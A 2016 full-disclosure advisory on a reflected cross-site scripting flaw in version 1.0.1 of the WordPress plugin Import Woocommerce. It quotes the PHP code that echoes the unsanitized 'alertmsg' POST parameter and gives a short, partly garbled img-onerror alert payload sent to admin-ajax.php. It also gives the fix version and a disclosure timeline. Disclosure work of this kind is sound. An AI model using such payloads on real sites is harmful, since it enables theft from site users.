Import Woocommerce XSS Vulnerability

[Rahul Pratap Singh <techno.rps@xxxxxxxxx>]

## FULL DISCLOSURE

 

#Product : Import Woocommerce
#Exploit Author : Rahul Pratap Singh
#Version : 1.0.1
#Home page Link : https://wordpress.org/plugins/import-woocommerce/
#Website : 0x62626262.wordpress.com
#Linkedin : https://in.linkedin.com/in/rahulpratapsingh94
#Date : 24/Feb/2016

XSS Vulnerability:

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Description:
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"alertmsg" parameter is not sanitized that leads to Reflected XSS.

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Vulnerable Code:
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File: index.php
Line:229-232

function translate_alertstr(){

if(isset($_POST['alertmsg']))

echo __($_POST['alertmsg'],'import-woocommerce');

die();

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Exploit:
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POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1

action="" src=x _onerror_=alert(1)>

 

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POC:
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https://0x62626262.files.wordpress.com/2016/02/import-woocommercexsspoc.png?w=1700

Fix:
Update to 1.1

Vulnerability Disclosure Timeline:
→ January 30, 2016     – Bug discovered, initial report to WordPress
→ February 1, 2016     – WordPress response, plugin taken down
→ February 24, 2016   – Vendor Deployed a Patch

#######################################
# CTG SECURITY SOLUTIONS #
# www.ctgsecuritysolutions.com  #                     
#######################################

Pub Ref:
https://wordpress.org/plugins/import-woocommerce/changelog/

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

Attachment: 0x9ACF7D5F.asc
Description: application/pgp-keys

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Description: OpenPGP digital signature